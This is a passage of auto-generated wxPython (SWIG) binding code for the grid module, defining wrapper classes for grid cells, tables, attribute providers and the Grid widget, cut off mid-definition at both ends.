property(GetSize,SetSize,doc=\"See `GetSize` and `SetSize`\") \n TextColour = property(GetTextColour,SetTextColour,doc=\"See `GetTextColour` and `SetTextColour`\") \n_grid.GridCellAttr_swigregister(GridCellAttr)\n\nclass GridCellAttrProvider(object):\n \"\"\"Proxy of C++ GridCellAttrProvider class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> GridCellAttrProvider\"\"\"\n _grid.GridCellAttrProvider_swiginit(self,_grid.new_GridCellAttrProvider(*args, **kwargs))\n self._setOORInfo(self)\n\n def _setOORInfo(*args, **kwargs):\n \"\"\"_setOORInfo(self, PyObject _self)\"\"\"\n return _grid.GridCellAttrProvider__setOORInfo(*args, **kwargs)\n\n def GetAttr(*args, **kwargs):\n \"\"\"GetAttr(self, int row, int col, int kind) -> GridCellAttr\"\"\"\n return _grid.GridCellAttrProvider_GetAttr(*args, **kwargs)\n\n def SetAttr(*args, **kwargs):\n \"\"\"SetAttr(self, GridCellAttr attr, int row, int col)\"\"\"\n return _grid.GridCellAttrProvider_SetAttr(*args, **kwargs)\n\n def SetRowAttr(*args, **kwargs):\n \"\"\"SetRowAttr(self, GridCellAttr attr, int row)\"\"\"\n return _grid.GridCellAttrProvider_SetRowAttr(*args, **kwargs)\n\n def SetColAttr(*args, **kwargs):\n \"\"\"SetColAttr(self, GridCellAttr attr, int col)\"\"\"\n return _grid.GridCellAttrProvider_SetColAttr(*args, **kwargs)\n\n def UpdateAttrRows(*args, **kwargs):\n \"\"\"UpdateAttrRows(self, size_t pos, int numRows)\"\"\"\n return _grid.GridCellAttrProvider_UpdateAttrRows(*args, **kwargs)\n\n def UpdateAttrCols(*args, **kwargs):\n \"\"\"UpdateAttrCols(self, size_t pos, int numCols)\"\"\"\n return _grid.GridCellAttrProvider_UpdateAttrCols(*args, **kwargs)\n\n_grid.GridCellAttrProvider_swigregister(GridCellAttrProvider)\n\nclass PyGridCellAttrProvider(GridCellAttrProvider):\n \"\"\"Proxy of C++ PyGridCellAttrProvider class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> PyGridCellAttrProvider\"\"\"\n _grid.PyGridCellAttrProvider_swiginit(self,_grid.new_PyGridCellAttrProvider(*args, **kwargs))\n PyGridCellAttrProvider._setCallbackInfo(self, self, PyGridCellAttrProvider)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _grid.PyGridCellAttrProvider__setCallbackInfo(*args, **kwargs)\n\n def GetAttr(*args, **kwargs):\n \"\"\"GetAttr(self, int row, int col, int kind) -> GridCellAttr\"\"\"\n return _grid.PyGridCellAttrProvider_GetAttr(*args, **kwargs)\n\n def SetAttr(*args, **kwargs):\n \"\"\"SetAttr(self, GridCellAttr attr, int row, int col)\"\"\"\n return _grid.PyGridCellAttrProvider_SetAttr(*args, **kwargs)\n\n def SetRowAttr(*args, **kwargs):\n \"\"\"SetRowAttr(self, GridCellAttr attr, int row)\"\"\"\n return _grid.PyGridCellAttrProvider_SetRowAttr(*args, **kwargs)\n\n def SetColAttr(*args, **kwargs):\n \"\"\"SetColAttr(self, GridCellAttr attr, int col)\"\"\"\n return _grid.PyGridCellAttrProvider_SetColAttr(*args, **kwargs)\n\n def base_GetAttr(*args, **kw):\n return PyGridCellAttrProvider.GetAttr(*args, **kw)\n base_GetAttr = wx._deprecated(base_GetAttr,\n \"Please use PyGridCellAttrProvider.GetAttr instead.\")\n\n def base_SetAttr(*args, **kw):\n return PyGridCellAttrProvider.SetAttr(*args, **kw)\n base_SetAttr = wx._deprecated(base_SetAttr,\n \"Please use PyGridCellAttrProvider.SetAttr instead.\")\n\n def base_SetRowAttr(*args, **kw):\n return PyGridCellAttrProvider.SetRowAttr(*args, **kw)\n base_SetRowAttr = wx._deprecated(base_SetRowAttr,\n \"Please use PyGridCellAttrProvider.SetRowAttr instead.\")\n\n def base_SetColAttr(*args, **kw):\n return PyGridCellAttrProvider.SetColAttr(*args, **kw)\n base_SetColAttr = wx._deprecated(base_SetColAttr,\n \"Please use PyGridCellAttrProvider.SetColAttr instead.\")\n\n_grid.PyGridCellAttrProvider_swigregister(PyGridCellAttrProvider)\n\nclass GridTableBase(_core.Object):\n \"\"\"Proxy of C++ GridTableBase class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _grid.delete_GridTableBase\n __del__ = lambda self : None;\n def _setOORInfo(*args, **kwargs):\n \"\"\"_setOORInfo(self, PyObject _self)\"\"\"\n return _grid.GridTableBase__setOORInfo(*args, **kwargs)\n\n def SetAttrProvider(*args, **kwargs):\n \"\"\"SetAttrProvider(self, GridCellAttrProvider attrProvider)\"\"\"\n return _grid.GridTableBase_SetAttrProvider(*args, **kwargs)\n\n def GetAttrProvider(*args, **kwargs):\n \"\"\"GetAttrProvider(self) -> GridCellAttrProvider\"\"\"\n return _grid.GridTableBase_GetAttrProvider(*args, **kwargs)\n\n def SetView(*args, **kwargs):\n \"\"\"SetView(self, Grid grid)\"\"\"\n return _grid.GridTableBase_SetView(*args, **kwargs)\n\n def GetView(*args, **kwargs):\n \"\"\"GetView(self) -> Grid\"\"\"\n return _grid.GridTableBase_GetView(*args, **kwargs)\n\n def GetNumberRows(*args, **kwargs):\n \"\"\"GetNumberRows(self) -> int\"\"\"\n return _grid.GridTableBase_GetNumberRows(*args, **kwargs)\n\n def GetNumberCols(*args, **kwargs):\n \"\"\"GetNumberCols(self) -> int\"\"\"\n return _grid.GridTableBase_GetNumberCols(*args, **kwargs)\n\n def IsEmptyCell(*args, **kwargs):\n \"\"\"IsEmptyCell(self, int row, int col) -> bool\"\"\"\n return _grid.GridTableBase_IsEmptyCell(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"GetValue(self, int row, int col) -> String\"\"\"\n return _grid.GridTableBase_GetValue(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"SetValue(self, int row, int col, String value)\"\"\"\n return _grid.GridTableBase_SetValue(*args, **kwargs)\n\n def GetTypeName(*args, **kwargs):\n \"\"\"GetTypeName(self, int row, int col) -> String\"\"\"\n return _grid.GridTableBase_GetTypeName(*args, **kwargs)\n\n def CanGetValueAs(*args, **kwargs):\n \"\"\"CanGetValueAs(self, int row, int col, String typeName) -> bool\"\"\"\n return _grid.GridTableBase_CanGetValueAs(*args, **kwargs)\n\n def CanSetValueAs(*args, **kwargs):\n \"\"\"CanSetValueAs(self, int row, int col, String typeName) -> bool\"\"\"\n return _grid.GridTableBase_CanSetValueAs(*args, **kwargs)\n\n def GetValueAsLong(*args, **kwargs):\n \"\"\"GetValueAsLong(self, int row, int col) -> long\"\"\"\n return _grid.GridTableBase_GetValueAsLong(*args, **kwargs)\n\n def GetValueAsDouble(*args, **kwargs):\n \"\"\"GetValueAsDouble(self, int row, int col) -> double\"\"\"\n return _grid.GridTableBase_GetValueAsDouble(*args, **kwargs)\n\n def GetValueAsBool(*args, **kwargs):\n \"\"\"GetValueAsBool(self, int row, int col) -> bool\"\"\"\n return _grid.GridTableBase_GetValueAsBool(*args, **kwargs)\n\n def SetValueAsLong(*args, **kwargs):\n \"\"\"SetValueAsLong(self, int row, int col, long value)\"\"\"\n return _grid.GridTableBase_SetValueAsLong(*args, **kwargs)\n\n def SetValueAsDouble(*args, **kwargs):\n \"\"\"SetValueAsDouble(self, int row, int col, double value)\"\"\"\n return _grid.GridTableBase_SetValueAsDouble(*args, **kwargs)\n\n def SetValueAsBool(*args, **kwargs):\n \"\"\"SetValueAsBool(self, int row, int col, bool value)\"\"\"\n return _grid.GridTableBase_SetValueAsBool(*args, **kwargs)\n\n def Clear(*args, **kwargs):\n \"\"\"Clear(self)\"\"\"\n return _grid.GridTableBase_Clear(*args, **kwargs)\n\n def InsertRows(*args, **kwargs):\n \"\"\"InsertRows(self, size_t pos=0, size_t numRows=1) -> bool\"\"\"\n return _grid.GridTableBase_InsertRows(*args, **kwargs)\n\n def AppendRows(*args, **kwargs):\n \"\"\"AppendRows(self, size_t numRows=1) -> bool\"\"\"\n return _grid.GridTableBase_AppendRows(*args, **kwargs)\n\n def DeleteRows(*args, **kwargs):\n \"\"\"DeleteRows(self, size_t pos=0, size_t numRows=1) -> bool\"\"\"\n return _grid.GridTableBase_DeleteRows(*args, **kwargs)\n\n def InsertCols(*args, **kwargs):\n \"\"\"InsertCols(self, size_t pos=0, size_t numCols=1) -> bool\"\"\"\n return _grid.GridTableBase_InsertCols(*args, **kwargs)\n\n def AppendCols(*args, **kwargs):\n \"\"\"AppendCols(self, size_t numCols=1) -> bool\"\"\"\n return _grid.GridTableBase_AppendCols(*args, **kwargs)\n\n def DeleteCols(*args, **kwargs):\n \"\"\"DeleteCols(self, size_t pos=0, size_t numCols=1) -> bool\"\"\"\n return _grid.GridTableBase_DeleteCols(*args, **kwargs)\n\n def GetRowLabelValue(*args, **kwargs):\n \"\"\"GetRowLabelValue(self, int row) -> String\"\"\"\n return _grid.GridTableBase_GetRowLabelValue(*args, **kwargs)\n\n def GetColLabelValue(*args, **kwargs):\n \"\"\"GetColLabelValue(self, int col) -> String\"\"\"\n return _grid.GridTableBase_GetColLabelValue(*args, **kwargs)\n\n def SetRowLabelValue(*args, **kwargs):\n \"\"\"SetRowLabelValue(self, int row, String value)\"\"\"\n return _grid.GridTableBase_SetRowLabelValue(*args, **kwargs)\n\n def SetColLabelValue(*args, **kwargs):\n \"\"\"SetColLabelValue(self, int col, String value)\"\"\"\n return _grid.GridTableBase_SetColLabelValue(*args, **kwargs)\n\n def CanHaveAttributes(*args, **kwargs):\n \"\"\"CanHaveAttributes(self) -> bool\"\"\"\n return _grid.GridTableBase_CanHaveAttributes(*args, **kwargs)\n\n def GetAttr(*args, **kwargs):\n \"\"\"GetAttr(self, int row, int col, int kind) -> GridCellAttr\"\"\"\n return _grid.GridTableBase_GetAttr(*args, **kwargs)\n\n def SetAttr(*args, **kwargs):\n \"\"\"SetAttr(self, GridCellAttr attr, int row, int col)\"\"\"\n return _grid.GridTableBase_SetAttr(*args, **kwargs)\n\n def SetRowAttr(*args, **kwargs):\n \"\"\"SetRowAttr(self, GridCellAttr attr, int row)\"\"\"\n return _grid.GridTableBase_SetRowAttr(*args, **kwargs)\n\n def SetColAttr(*args, **kwargs):\n \"\"\"SetColAttr(self, GridCellAttr attr, int col)\"\"\"\n return _grid.GridTableBase_SetColAttr(*args, **kwargs)\n\n AttrProvider = property(GetAttrProvider,SetAttrProvider,doc=\"See `GetAttrProvider` and `SetAttrProvider`\") \n NumberCols = property(GetNumberCols,doc=\"See `GetNumberCols`\") \n NumberRows = property(GetNumberRows,doc=\"See `GetNumberRows`\") \n View = property(GetView,SetView,doc=\"See `GetView` and `SetView`\") \n_grid.GridTableBase_swigregister(GridTableBase)\n\nclass PyGridTableBase(GridTableBase):\n \"\"\"Proxy of C++ PyGridTableBase class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> PyGridTableBase\"\"\"\n _grid.PyGridTableBase_swiginit(self,_grid.new_PyGridTableBase(*args, **kwargs))\n self._setOORInfo(self);PyGridTableBase._setCallbackInfo(self, self, PyGridTableBase)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _grid.PyGridTableBase__setCallbackInfo(*args, **kwargs)\n\n def Destroy(*args, **kwargs):\n \"\"\"\n Destroy(self)\n\n Deletes the C++ object this Python object is a proxy for.\n \"\"\"\n args[0].this.own(False)\n return _grid.PyGridTableBase_Destroy(*args, **kwargs)\n\n def base_GetTypeName(*args, **kw):\n return PyGridTableBase.GetTypeName(*args, **kw)\n base_GetTypeName = wx._deprecated(base_GetTypeName,\n \"Please use PyGridTableBase.GetTypeName instead.\")\n\n def base_CanGetValueAs(*args, **kw):\n return PyGridTableBase.CanGetValueAs(*args, **kw)\n base_CanGetValueAs = wx._deprecated(base_CanGetValueAs,\n \"Please use PyGridTableBase.CanGetValueAs instead.\")\n\n def base_CanSetValueAs(*args, **kw):\n return PyGridTableBase.CanSetValueAs(*args, **kw)\n base_CanSetValueAs = wx._deprecated(base_CanSetValueAs,\n \"Please use PyGridTableBase.CanSetValueAs instead.\")\n\n def base_Clear(*args, **kw):\n return PyGridTableBase.Clear(*args, **kw)\n base_Clear = wx._deprecated(base_Clear,\n \"Please use PyGridTableBase.Clear instead.\")\n\n def base_InsertRows(*args, **kw):\n return PyGridTableBase.InsertRows(*args, **kw)\n base_InsertRows = wx._deprecated(base_InsertRows,\n \"Please use PyGridTableBase.InsertRows instead.\")\n\n def base_AppendRows(*args, **kw):\n return PyGridTableBase.AppendRows(*args, **kw)\n base_AppendRows = wx._deprecated(base_AppendRows,\n \"Please use PyGridTableBase.AppendRows instead.\")\n\n def base_DeleteRows(*args, **kw):\n return PyGridTableBase.DeleteRows(*args, **kw)\n base_DeleteRows = wx._deprecated(base_DeleteRows,\n \"Please use PyGridTableBase.DeleteRows instead.\")\n\n def base_InsertCols(*args, **kw):\n return PyGridTableBase.InsertCols(*args, **kw)\n base_InsertCols = wx._deprecated(base_InsertCols,\n \"Please use PyGridTableBase.InsertCols instead.\")\n\n def base_AppendCols(*args, **kw):\n return PyGridTableBase.AppendCols(*args, **kw)\n base_AppendCols = wx._deprecated(base_AppendCols,\n \"Please use PyGridTableBase.AppendCols instead.\")\n\n def base_DeleteCols(*args, **kw):\n return PyGridTableBase.DeleteCols(*args, **kw)\n base_DeleteCols = wx._deprecated(base_DeleteCols,\n \"Please use PyGridTableBase.DeleteCols instead.\")\n\n def base_GetRowLabelValue(*args, **kw):\n return PyGridTableBase.GetRowLabelValue(*args, **kw)\n base_GetRowLabelValue = wx._deprecated(base_GetRowLabelValue,\n \"Please use PyGridTableBase.GetRowLabelValue instead.\")\n\n def base_GetColLabelValue(*args, **kw):\n return PyGridTableBase.GetColLabelValue(*args, **kw)\n base_GetColLabelValue = wx._deprecated(base_GetColLabelValue,\n \"Please use PyGridTableBase.GetColLabelValue instead.\")\n\n def base_SetRowLabelValue(*args, **kw):\n return PyGridTableBase.SetRowLabelValue(*args, **kw)\n base_SetRowLabelValue = wx._deprecated(base_SetRowLabelValue,\n \"Please use PyGridTableBase.SetRowLabelValue instead.\")\n\n def base_SetColLabelValue(*args, **kw):\n return PyGridTableBase.SetColLabelValue(*args, **kw)\n base_SetColLabelValue = wx._deprecated(base_SetColLabelValue,\n \"Please use PyGridTableBase.SetColLabelValue instead.\")\n\n def base_CanHaveAttributes(*args, **kw):\n return PyGridTableBase.CanHaveAttributes(*args, **kw)\n base_CanHaveAttributes = wx._deprecated(base_CanHaveAttributes,\n \"Please use PyGridTableBase.CanHaveAttributes instead.\")\n\n def base_GetAttr(*args, **kw):\n return PyGridTableBase.GetAttr(*args, **kw)\n base_GetAttr = wx._deprecated(base_GetAttr,\n \"Please use PyGridTableBase.GetAttr instead.\")\n\n def base_SetAttr(*args, **kw):\n return PyGridTableBase.SetAttr(*args, **kw)\n base_SetAttr = wx._deprecated(base_SetAttr,\n \"Please use PyGridTableBase.SetAttr instead.\")\n\n def base_SetRowAttr(*args, **kw):\n return PyGridTableBase.SetRowAttr(*args, **kw)\n base_SetRowAttr = wx._deprecated(base_SetRowAttr,\n \"Please use PyGridTableBase.SetRowAttr instead.\")\n\n def base_SetColAttr(*args, **kw):\n return PyGridTableBase.SetColAttr(*args, **kw)\n base_SetColAttr = wx._deprecated(base_SetColAttr,\n \"Please use PyGridTableBase.SetColAttr instead.\")\n\n_grid.PyGridTableBase_swigregister(PyGridTableBase)\n\nclass GridStringTable(GridTableBase):\n \"\"\"Proxy of C++ GridStringTable class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, int numRows=0, int numCols=0) -> GridStringTable\"\"\"\n _grid.GridStringTable_swiginit(self,_grid.new_GridStringTable(*args, **kwargs))\n self._setOORInfo(self)\n\n_grid.GridStringTable_swigregister(GridStringTable)\n\nGRIDTABLE_REQUEST_VIEW_GET_VALUES = _grid.GRIDTABLE_REQUEST_VIEW_GET_VALUES\nGRIDTABLE_REQUEST_VIEW_SEND_VALUES = _grid.GRIDTABLE_REQUEST_VIEW_SEND_VALUES\nGRIDTABLE_NOTIFY_ROWS_INSERTED = _grid.GRIDTABLE_NOTIFY_ROWS_INSERTED\nGRIDTABLE_NOTIFY_ROWS_APPENDED = _grid.GRIDTABLE_NOTIFY_ROWS_APPENDED\nGRIDTABLE_NOTIFY_ROWS_DELETED = _grid.GRIDTABLE_NOTIFY_ROWS_DELETED\nGRIDTABLE_NOTIFY_COLS_INSERTED = _grid.GRIDTABLE_NOTIFY_COLS_INSERTED\nGRIDTABLE_NOTIFY_COLS_APPENDED = _grid.GRIDTABLE_NOTIFY_COLS_APPENDED\nGRIDTABLE_NOTIFY_COLS_DELETED = _grid.GRIDTABLE_NOTIFY_COLS_DELETED\nclass GridTableMessage(object):\n \"\"\"Proxy of C++ GridTableMessage class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, GridTableBase table, int id, int comInt1=-1, int comInt2=-1) -> GridTableMessage\"\"\"\n _grid.GridTableMessage_swiginit(self,_grid.new_GridTableMessage(*args, **kwargs))\n __swig_destroy__ = _grid.delete_GridTableMessage\n __del__ = lambda self : None;\n def SetTableObject(*args, **kwargs):\n \"\"\"SetTableObject(self, GridTableBase table)\"\"\"\n return _grid.GridTableMessage_SetTableObject(*args, **kwargs)\n\n def GetTableObject(*args, **kwargs):\n \"\"\"GetTableObject(self) -> GridTableBase\"\"\"\n return _grid.GridTableMessage_GetTableObject(*args, **kwargs)\n\n def SetId(*args, **kwargs):\n \"\"\"SetId(self, int id)\"\"\"\n return _grid.GridTableMessage_SetId(*args, **kwargs)\n\n def GetId(*args, **kwargs):\n \"\"\"GetId(self) -> int\"\"\"\n return _grid.GridTableMessage_GetId(*args, **kwargs)\n\n def SetCommandInt(*args, **kwargs):\n \"\"\"SetCommandInt(self, int comInt1)\"\"\"\n return _grid.GridTableMessage_SetCommandInt(*args, **kwargs)\n\n def GetCommandInt(*args, **kwargs):\n \"\"\"GetCommandInt(self) -> int\"\"\"\n return _grid.GridTableMessage_GetCommandInt(*args, **kwargs)\n\n def SetCommandInt2(*args, **kwargs):\n \"\"\"SetCommandInt2(self, int comInt2)\"\"\"\n return _grid.GridTableMessage_SetCommandInt2(*args, **kwargs)\n\n def GetCommandInt2(*args, **kwargs):\n \"\"\"GetCommandInt2(self) -> int\"\"\"\n return _grid.GridTableMessage_GetCommandInt2(*args, **kwargs)\n\n CommandInt = property(GetCommandInt,SetCommandInt,doc=\"See `GetCommandInt` and `SetCommandInt`\") \n CommandInt2 = property(GetCommandInt2,SetCommandInt2,doc=\"See `GetCommandInt2` and `SetCommandInt2`\") \n Id = property(GetId,SetId,doc=\"See `GetId` and `SetId`\") \n TableObject = property(GetTableObject,SetTableObject,doc=\"See `GetTableObject` and `SetTableObject`\") \n_grid.GridTableMessage_swigregister(GridTableMessage)\n\nclass GridCellCoords(object):\n \"\"\"Proxy of C++ GridCellCoords class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, int r=-1, int c=-1) -> GridCellCoords\"\"\"\n _grid.GridCellCoords_swiginit(self,_grid.new_GridCellCoords(*args, **kwargs))\n __swig_destroy__ = _grid.delete_GridCellCoords\n __del__ = lambda self : None;\n def GetRow(*args, **kwargs):\n \"\"\"GetRow(self) -> int\"\"\"\n return _grid.GridCellCoords_GetRow(*args, **kwargs)\n\n def SetRow(*args, **kwargs):\n \"\"\"SetRow(self, int n)\"\"\"\n return _grid.GridCellCoords_SetRow(*args, **kwargs)\n\n def GetCol(*args, **kwargs):\n \"\"\"GetCol(self) -> int\"\"\"\n return _grid.GridCellCoords_GetCol(*args, **kwargs)\n\n def SetCol(*args, **kwargs):\n \"\"\"SetCol(self, int n)\"\"\"\n return _grid.GridCellCoords_SetCol(*args, **kwargs)\n\n def Set(*args, **kwargs):\n \"\"\"Set(self, int row, int col)\"\"\"\n return _grid.GridCellCoords_Set(*args, **kwargs)\n\n def __eq__(*args, **kwargs):\n \"\"\"\n __eq__(self, PyObject other) -> bool\n\n Test for equality of GridCellCoords objects.\n \"\"\"\n return _grid.GridCellCoords___eq__(*args, **kwargs)\n\n def __ne__(*args, **kwargs):\n \"\"\"\n __ne__(self, PyObject other) -> bool\n\n Test for inequality of GridCellCoords objects.\n \"\"\"\n return _grid.GridCellCoords___ne__(*args, **kwargs)\n\n def Get(*args, **kwargs):\n \"\"\"Get(self) -> PyObject\"\"\"\n return _grid.GridCellCoords_Get(*args, **kwargs)\n\n asTuple = wx._deprecated(Get, \"asTuple is deprecated, use `Get` instead\")\n def __str__(self): return str(self.Get())\n def __repr__(self): return 'wxGridCellCoords'+str(self.Get())\n def __len__(self): return len(self.Get())\n def __getitem__(self, index): return self.Get()[index]\n def __setitem__(self, index, val):\n if index == 0: self.SetRow(val)\n elif index == 1: self.SetCol(val)\n else: raise IndexError\n\n Col = property(GetCol,SetCol,doc=\"See `GetCol` and `SetCol`\") \n Row = property(GetRow,SetRow,doc=\"See `GetRow` and `SetRow`\") \n_grid.GridCellCoords_swigregister(GridCellCoords)\n\nclass Grid(_windows.ScrolledWindow):\n \"\"\"Proxy of C++ Grid class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=WANTS_CHARS, \n String name=wxPyGridNameStr) -> Grid\n \"\"\"\n _grid.Grid_swiginit(self,_grid.new_Grid(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=WANTS_CHARS, \n String name=wxPyGridNameStr) -> bool\n \"\"\"\n return _grid.Grid_Create(*args, **kwargs)\n\n wxGridSelectCells = _grid.Grid_wxGridSelectCells\n wxGridSelectRows = _grid.Grid_wxGridSelectRows\n wxGridSelectColumns = _grid.Grid_wxGridSelectColumns\n SelectCells = wxGridSelectCells\n SelectRows = wxGridSelectRows\n SelectColumns = wxGridSelectColumns\n\n def CreateGrid(*args, **kwargs):\n \"\"\"CreateGrid(self, int numRows, int numCols, WXGRIDSELECTIONMODES selmode=wxGridSelectCells) -> bool\"\"\"\n return _grid.Grid_CreateGrid(*args, **kwargs)\n\n def SetSelectionMode(*args, **kwargs):\n \"\"\"SetSelectionMode(self, WXGRIDSELECTIONMODES selmode)\"\"\"\n return _grid.Grid_SetSelectionMode(*args, **kwargs)\n\n def GetSelectionMode(*args, **kwargs):\n \"\"\"GetSelectionMode(self) -> WXGRIDSELECTIONMODES\"\"\"\n return _grid.Grid_GetSelectionMode(*args, **kwargs)\n\n def GetNumberRows(*args, **kwargs):\n \"\"\"GetNumberRows(self) -> int\"\"\"\n return _grid.Grid_GetNumberRows(*args, **kwargs)\n\n def GetNumberCols(*args, **kwargs):\n \"\"\"GetNumberCols(self) -> int\"\"\"\n return _grid.Grid_GetNumberCols(*args, **kwargs)\n\n def CalcRowLabelsExposed(*args, **kwargs):\n \"\"\"CalcRowLabelsExposed(self, Region reg) -> wxArrayInt\"\"\"\n return _grid.Grid_CalcRowLabelsExposed(*args, **kwargs)\n\n def CalcColLabelsExposed(*args, **kwargs):\n \"\"\"CalcColLabelsExposed(self, Region reg) -> wxArrayInt\"\"\"\n return _grid.Grid_CalcColLabelsExposed(*args, **kwargs)\n\n def CalcCellsExposed(*args, **kwargs):\n \"\"\"CalcCellsExposed(self, Region reg) -> wxGridCellCoordsArray\"\"\"\n return _grid.Grid_CalcCellsExposed(*args, **kwargs)\n\n def ProcessTableMessage(*args, **kwargs):\n \"\"\"ProcessTableMessage(self, GridTableMessage ?) -> bool\"\"\"\n return _grid.Grid_ProcessTableMessage(*args, **kwargs)\n\n def GetTable(*args, **kwargs):\n \"\"\"GetTable(self) -> GridTableBase\"\"\"\n return _grid.Grid_GetTable(*args, **kwargs)\n\n def SetTable(*args, **kwargs):\n \"\"\"SetTable(self, GridTableBase table, bool takeOwnership=False, WXGRIDSELECTIONMODES selmode=wxGridSelectCells) -> bool\"\"\"\n return _grid.Grid_SetTable(*args, **kwargs)\n\n def ClearGrid(*args, **kwargs):\n \"\"\"ClearGrid(self)\"\"\"\n return _grid.Grid_ClearGrid(*args, **kwargs)\n\n def InsertRows(*args, **kwargs):\n \"\"\"InsertRows(self, int pos=0, int numRows=1, bool updateLabels=True) -> bool\"\"\"\n return _grid.Grid_InsertRows(*args, **kwargs)\n\n def AppendRows(*args, **kwargs):\n \"\"\"AppendRows(self, int numRows=1, bool updateLabels=True) -> bool\"\"\"\n return _grid.Grid_AppendRows(*args, **kwargs)\n\n def DeleteRows(*args, **kwargs):\n \"\"\"DeleteRows(self, int pos=0, int numRows=1, bool updateLabels=True) -> bool\"\"\"\n return _grid.Grid_DeleteRows(*args, **kwargs)\n\n def InsertCols(*args, **kwargs):\n \"\"\"InsertCols(self, int pos=0, int numCols=1, bool updateLabels=True) -> bool\"\"\"\n return _grid.Grid_InsertCols(*args, **kwargs)\n\n def AppendCols(*args, **kwargs):\n \"\"\"AppendCols(self, int numCols=1, bool updateLabels=True) -> bool\"\"\"\n return _grid.Grid_AppendCols(*args, **kwargs)\n\n def DeleteCols(*args, **kwargs):\n \"\"\"DeleteCols(self, int pos=0, int numCols=1, bool updateLabels=True) -> bool\"\"\"\n return _grid.Grid_DeleteCols(*args, **kwargs)\n\n def DrawCellHighlight(*args, **kwargs):\n \"\"\"DrawCellHighlight(self, DC dc, GridCellAttr attr)\"\"\"\n return _grid.Grid_DrawCellHighlight(*args, **kwargs)\n\n def DrawTextRectangle(*args, **kwargs):\n \"\"\"\n DrawTextRectangle(self, DC dc, String ?, Rect ?, int horizontalAlignment=LEFT, \n int verticalAlignment=TOP, int textOrientation=HORIZONTAL)\n \"\"\"\n return _grid.Grid_DrawTextRectangle(*args, **kwargs)\n\n def DrawRowLabels(*args, **kwargs):\n \"\"\"DrawRowLabels(self, DC dc, wxArrayInt rows)\"\"\"\n return _grid.Grid_DrawRowLabels(*args, **kwargs)\n\n def DrawRowLabel(*args, **kwargs):\n \"\"\"DrawRowLabel(self, DC dc, int row)\"\"\"\n return _grid.Grid_DrawRowLabel(*args, **kwargs)\n\n def DrawColLabels(*args, **kwargs):\n \"\"\"DrawColLabels(self, DC dc, wxArrayInt cols)\"\"\"\n return _grid.Grid_DrawColLabels(*args, **kwargs)\n\n def DrawColLabel(*args, **kwargs):\n \"\"\"DrawColLabel(self, DC dc, int col)\"\"\"\n return _grid.Grid_DrawColLabel(*args, **kwargs)\n\n def GetTextBoxSize(*args, **kwargs):\n \"\"\"GetTextBoxSize(DC dc, list lines) -> (width, height)\"\"\"\n return _grid.Grid_GetTextBoxSize(*args, **kwargs)\n\n def BeginBatch(*args, **kwargs):\n \"\"\"BeginBatch(self)\"\"\"\n return _grid.Grid_BeginBatch(*args, **kwargs)\n\n def EndBatch(*args, **kwargs):\n \"\"\"EndBatch(self)\"\"\"\n return _grid.Grid_EndBatch(*args, **kwargs)\n\n def GetBatchCount(*args, **kwargs):\n \"\"\"GetBatchCount(self) -> int\"\"\"\n return _grid.Grid_GetBatchCount(*args, **kwargs)\n\n def ForceRefresh(*args, **kwargs):\n \"\"\"ForceRefresh(self)\"\"\"\n return _grid.Grid_ForceRefresh(*args, **kwargs)\n\n def IsEditable(*args, **kwargs):\n \"\"\"IsEditable(self) -> bool\"\"\"\n return _grid.Grid_IsEditable(*args, **kwargs)\n\n def EnableEditing(*args, **kwargs):\n \"\"\"EnableEditing(self, bool edit)\"\"\"\n return _grid.Grid_EnableEditing(*args, **kwargs)\n\n def EnableCellEditControl(*args, **kwargs):\n \"\"\"EnableCellEditControl(self, bool enable=True)\"\"\"\n return _grid.Grid_EnableCellEditControl(*args, **kwargs)\n\n def DisableCellEditControl(*args, **kwargs):\n \"\"\"DisableCellEditControl(self)\"\"\"\n return _grid.Grid_DisableCellEditControl(*args, **kwargs)\n\n def CanEnableCellControl(*args, **kwargs):\n \"\"\"CanEnableCellControl(self) -> bool\"\"\"\n return _grid.Grid_CanEnableCellControl(*args, **kwargs)\n\n def IsCellEditControlEnabled(*args, **kwargs):\n \"\"\"IsCellEditControlEnabled(self) -> bool\"\"\"\n return _grid.Grid_IsCellEditControlEnabled(*args, **kwargs)\n\n def IsCellEditControlShown(*args, **kwargs):\n \"\"\"IsCellEditControlShown(self) -> bool\"\"\"\n return _grid.Grid_IsCellEditControlShown(*args, **kwargs)\n\n def IsCurrentCellReadOnly(*args, **kwargs):\n \"\"\"IsCurrentCellReadOnly(self) -> bool\"\"\"\n return _grid.Grid_IsCurrentCellReadOnly(*args, **kwargs)\n\n def 